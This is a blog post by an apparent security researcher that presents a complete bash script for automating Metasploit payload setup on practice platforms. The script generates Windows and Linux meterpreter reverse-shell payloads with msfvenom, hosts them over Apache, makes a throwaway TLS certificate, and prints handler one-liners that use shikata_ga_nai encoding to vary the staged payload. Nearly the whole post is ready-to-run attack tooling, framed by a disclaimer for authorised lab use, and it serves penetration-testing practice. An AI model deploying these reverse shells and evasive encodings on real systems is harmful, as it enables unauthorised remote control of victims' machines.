Automating Metasploit Setup For Practice Boxes

(Updated: )

Foreword
Read Time 6 minutes
Goal Automate repetitive tasks needed to set up Metasploit when practicing on platforms like HTB and THM.
Audience
Disclaimer This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.

While experimenting with labs on platforms like OffSec, THM or HTB I kept doing the same repetitive setup with Metasploit. Generating payloads, setting up handlers, configuring options, all that stuff. So I put together a script to take care of it for me. It automatically creates payloads for both 32 and 64 bit systems for both Windows and Linux. In most cases, it helps me skip the mundane work, so I can jump straight into the actual fun stuff without wasting time on repetitive prep work.

Tools Used

The automation script uses a few tools to set up the payloads, host them and create the needed certificate:

  • Apache2: Used to serve the payloads.
  • OpenSSL: Used to generate a server certificate used by the reverse HTTPS payloads.
  • msfvenom: Used to generate the Metasploit payloads.
  • msfconsole: Start the Metasploit listener. This is printed by the script, but not executed.

Setting Up

Before doing anything, the scripts defines colors and ensures the required folders are created. It also deletes any old certificates:

RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m'

mkdir -p /var/www/html/linux
mkdir -p /var/www/html/linux/x86
mkdir -p /var/www/html/linux/x64
mkdir -p /var/www/html/windows
mkdir -p /var/www/html/windows/32
mkdir -p /var/www/html/windows/64
mkdir -p /tmp/automation/cert

rm /tmp/automation/cert/*.*

Who Am I?

Next up, fetching our IP. The script attempts to fetch its IP using ip. If this fails, the script falls back to a hardcoded IP and reports it back to the user:

echo "${GREEN}[+] Setting listener IP${NC}"
interface="$(ip tuntap show | cut -d : -f1 | head -n 1)"
local="$(ip a s "${interface}" 2>/dev/null | grep -o -P '(?<=inet )[0-9]{1,3}(\.[0-9]{1,3}){3}')"
if [ ! $local ]; 
then local="172.16.224.128"; echo "${RED}[!] No ip found. Setting to listener to static IP: $local."; 
else echo "${BLUE}[*] Listener IP is: $local${NC}";
fi

Preparing The Payloads

The following part of the script generates 32 and 64 bit payloads for both Linux and Windows. Ports, payload type and file output depend on what you’re going to do and how you’re going to fetch them. In this case, I’ve done the following:

  • Windows: Reverse HTTPS outputted raw.
  • Linux: Reverse TCP outputted as an elf.
echo "${GREEN}[*] Setting listener ports${NC}"
port_w32=8443;  echo "${BLUE}[*] Windows (x86):   ${port_w32}${NC}"
port_w64=443;   echo "${BLUE}[*] Windows (x64):   ${port_w64}${NC}"
port_l32=9001;  echo "${BLUE}[*] Linux (x86):     ${port_l32}${NC}"
port_l64=53;    echo "${BLUE}[*] Linux (x64):     ${port_l64}${NC}"

msfvenom -p windows/meterpreter/reverse_https LHOST=$local LPORT=$port_w32 EXITFUNC=thread -f raw -o /var/www/html/windows/32/payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$local LPORT=$port_w64 -f raw -o /var/www/html/windows/64/payload
msfvenom -p linux/x86/meterpreter/reverse_tcp PrependFork=true LHOST=$local LPORT=$port_l32 -f elf -o /var/www/html/linux/x86/payload
msfvenom -p linux/x64/meterpreter/reverse_tcp PrependFork=true LHOST=$local LPORT=$port_l64 -f elf -o /var/www/html/linux/x64/payload

Outputting The Listeners

One of my favorite msfconsole listeners looks like this:

msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set lhost $local;set lport $port_w64;set HandlerSSLCert /tmp/automation/cert/my.pem;set EnableStageEncoding true;set StageEncoder x64/shikata_ga_nai;exploit"

When this one-liner is broken down, it boils down to the following:

  • It is a staged payload.
  • Polymorphic XOR encoding (shikata_ga_nai), the output is different at every iteration.
  • Reverse HTTPS, it uses a server certificate.

Because I want my setup script to output the above line, and I want to be able to simply copy and paste it, I first need to create a server certificate. This obviously is not a legitimate certificate, but does ensure TLS can be used by the stager.

Note that I did not put the same kind of effort in the Linux payloads, I have yet to encounter a reason to implement this.

After creating the certificate, the script prints 4 one-liners for msfconsole listeners:

  • Windows x86: Reverse HTTPS.
  • Windows x64: Reverse HTTPS.
  • Linux x86: Reverse TCP.
  • Linux x64: Reverse TCP.

I prefer starting the listeners by hand. By outputting the formatted lines I have an easy way to copy/paste the command.

org="Example" 
domain="example.com"
email="hello@example.com"
subject="/C=NL/ST=Utrecht/L=Utrecht/O=$org/OU=JSC/CN=$domain/emailAddress=$email"
openssl req -x509 -nodes -new -keyout /tmp/automation/cert/my.key -out /tmp/automation/cert/my.crt -days 7 -subj $subject
cat /tmp/automation/cert/my.key /tmp/automation/cert/my.crt > /tmp/automation/cert/my.pem

echo "${GREEN}[*] Starting apache${NC}"
sudo service apache2 restart
echo "${GREEN}[*] The following Metasploit listeners can be used:${NC}"
echo "${BLUE}[+] Windows x86:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set lhost $local;set lport $port_w32;set HandlerSSLCert /tmp/automation/cert/my.pem;set EnableStageEncoding true;set StageEncoder x86/shikata_ga_nai;exploit\""
echo "${BLUE}[+] Windows x64:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set lhost $local;set lport $port_w64;set HandlerSSLCert /tmp/automation/cert/my.pem;set EnableStageEncoding true;set StageEncoder x64/shikata_ga_nai;exploit\""
echo "${BLUE}[+] Linux x86:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload linux/x86/meterpreter/reverse_tcp;set lhost $local;set lport $port_l32;exploit\""
echo "${BLUE}[+] Linux x64:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set lhost $local;set lport $port_l64;exploit\""
echo "${GREEN}[*] All Done! Happy hacking :)..${NC}"

The Final Script

Well then, lets put it all together!

RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m'

mkdir -p /var/www/html/linux
mkdir -p /var/www/html/linux/x86
mkdir -p /var/www/html/linux/x64
mkdir -p /var/www/html/windows
mkdir -p /var/www/html/windows/32
mkdir -p /var/www/html/windows/64
mkdir -p /tmp/automation/cert

rm /tmp/automation/cert/*.*

echo "${GREEN}[+] Setting listener IP${NC}"
interface="$(ip tuntap show | cut -d : -f1 | head -n 1)"
local="$(ip a s "${interface}" 2>/dev/null | grep -o -P '(?<=inet )[0-9]{1,3}(\.[0-9]{1,3}){3}')"
if [ ! $local ]; 
then local="172.16.224.128"; echo "${RED}[!] No ip found. Setting to listener to static IP: $local."; 
else echo "${BLUE}[*] Listener IP is: $local${NC}";
fi

echo "${GREEN}[*] Setting listener ports${NC}"
port_w32=8443;  echo "${BLUE}[*] Windows (x86):   ${port_w32}${NC}"
port_w64=443;   echo "${BLUE}[*] Windows (x64):   ${port_w64}${NC}"
port_l32=9001;  echo "${BLUE}[*] Linux (x86):     ${port_l32}${NC}"
port_l64=53;    echo "${BLUE}[*] Linux (x64):     ${port_l64}${NC}"

msfvenom -p windows/meterpreter/reverse_https LHOST=$local LPORT=$port_w32 EXITFUNC=thread -f raw -o /var/www/html/windows/32/payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=$local LPORT=$port_w64 -f raw -o /var/www/html/windows/64/payload
msfvenom -p linux/x86/meterpreter/reverse_tcp PrependFork=true LHOST=$local LPORT=$port_l32 -f elf -o /var/www/html/linux/x86/payload
msfvenom -p linux/x64/meterpreter/reverse_tcp PrependFork=true LHOST=$local LPORT=$port_l64 -f elf -o /var/www/html/linux/x64/payload

org="Example" 
domain="example.com"
email="hello@example.com"
subject="/C=NL/ST=Utrecht/L=Utrecht/O=$org/OU=JSC/CN=$domain/emailAddress=$email"
openssl req -x509 -nodes -new -keyout /tmp/automation/cert/my.key -out /tmp/automation/cert/my.crt -days 7 -subj $subject
cat /tmp/automation/cert/my.key /tmp/automation/cert/my.crt > /tmp/automation/cert/my.pem

echo "${GREEN}[*] Starting apache${NC}"
sudo service apache2 restart
echo "${GREEN}[*] The following Metasploit listeners can be used:${NC}"
echo "${BLUE}[+] Windows x86:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set lhost $local;set lport $port_w32;set HandlerSSLCert /tmp/automation/cert/my.pem;set EnableStageEncoding true;set StageEncoder x86/shikata_ga_nai;exploit\""
echo "${BLUE}[+] Windows x64:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set lhost $local;set lport $port_w64;set HandlerSSLCert /tmp/automation/cert/my.pem;set EnableStageEncoding true;set StageEncoder x64/shikata_ga_nai;exploit\""
echo "${BLUE}[+] Linux x86:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload linux/x86/meterpreter/reverse_tcp;set lhost $local;set lport $port_l32;exploit\""
echo "${BLUE}[+] Linux x64:${NC}"
echo "msfconsole -q -x \"use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set lhost $local;set lport $port_l64;exploit\""
echo "${GREEN}[*] All Done! Happy hacking :)..${NC}"

Written by

Rutger
Rutger

Security researcher

Related Articles